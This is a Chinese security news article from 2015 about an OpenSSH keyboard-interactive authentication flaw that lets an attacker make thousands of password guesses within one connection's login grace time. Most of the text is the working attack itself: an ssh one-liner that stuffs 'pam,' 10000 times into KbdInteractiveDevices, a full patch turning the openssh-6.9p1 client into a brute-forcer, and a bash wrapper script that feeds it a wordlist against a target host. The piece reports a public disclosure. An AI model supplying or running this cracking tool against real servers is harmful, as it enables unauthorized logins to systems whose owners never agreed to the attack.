OpenSSH漏洞可导致服务器被暴力破解 研究人员公布利用方法
作者: 日期:2015年07月24日 阅:7,266

利用安全远程访问工具OpenSSH中的一个漏洞,攻击者可绕过认证重试次数的限制,进行大量的口令猜解。一位网名为Kingcope的安全人员近日在博客上发布了这个漏洞的利用方法。

Brute-Forcer

OpenSSH服务器的“键盘交互”认证是打开的,默认设置为允许6次认证尝试,客户端只允许3次,然后就会关闭与服务器的连接。然而,这个认证机制可以在单次连接中进行多次认证尝试。利用这个漏洞,攻击者能够在允许登录时间的2分钟内进行多次口令尝试,也就意味着成千上万次的暴力破解。

而且,即使在OpenSSH的配置中把口令认证设置成“no”并使用公共密钥认证也无法防止这种攻击。

漏洞利用方法:

ssh -lusername -oKbdInteractiveDevices=`perl -e ‘print “pam,” x 10000’` targethost

这条命令可以在登录时间尝试多达10000个口令。下面是openssh-6.9p1的攻击补丁,打上这个补丁之后即可执行远程破解:

—分割线–

diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c

83a84,85

> char password[1024];

>

510c512,517

< authctxt->success = 1; /* break out */

> printf(“==============================================\n”);

> printf(“*** SUCCESS **********************************\n”);

> printf(“*** PASSWORD: %s\n”, password);

> printf(“==============================================\n”);

> exit(0);

>

1376a1384,1385

> char *devicebuffer;

> int i;

1386a1396,1405

> devicebuffer = calloc(1, 200000);

> if (!devicebuffer) {

> fatal(“cannot allocate devicebuffer”);

> }

>

> for (i=0;i<200000-2;i+=2) {

> memcpy(devicebuffer + i, “p,”, 2);

> }

> devicebuffer[200000] = 0;

>

1393,1394c1412

< packet_put_cstring(options.kbd_interactive_devices ?

< options.kbd_interactive_devices : “”);

> packet_put_cstring(devicebuffer);

1408c1426

< char *name, *inst, *lang, *prompt, *response;

> char *name, *inst, *lang, *prompt;

1410c1428

< int echo = 0;

> char *pos;

1425a1444

>

1430a1450

>

1443,1449c1463,1469

< echo = packet_get_char();

<

< response = read_passphrase(prompt, echo ? RP_ECHO : 0);

<

< packet_put_cstring(response);

< explicit_bzero(response, strlen(response));

< free(response);

> packet_get_char();

> if (fgets(password, 1024, stdin) == NULL)

> exit(0);

> if ((pos=strchr(password, ‘\n’)) != NULL)

> *pos = ”;

> printf(“%s\n”, password);

> packet_put_cstring(password);

—分割线—

补丁打上之后,即可使用下面的shell脚本挂上词汇表进行口令破解的尝试:

—分割线—

#!/bin/bash

# run as:

# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target

#

while true

do

./ssh -l$1 $2

rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi

echo Respawn due to login grace time…

done

—分割线—

例如:

cat wordlist.txt | ./sshcracker.sh test 192.168.2.173

该攻击已经在FreeBSD 10.1系统及老版本如6.2上成功测试。

 

关键词:

申明:本文系厂商投稿收录,所涉观点不代表安全牛立场!


相关文章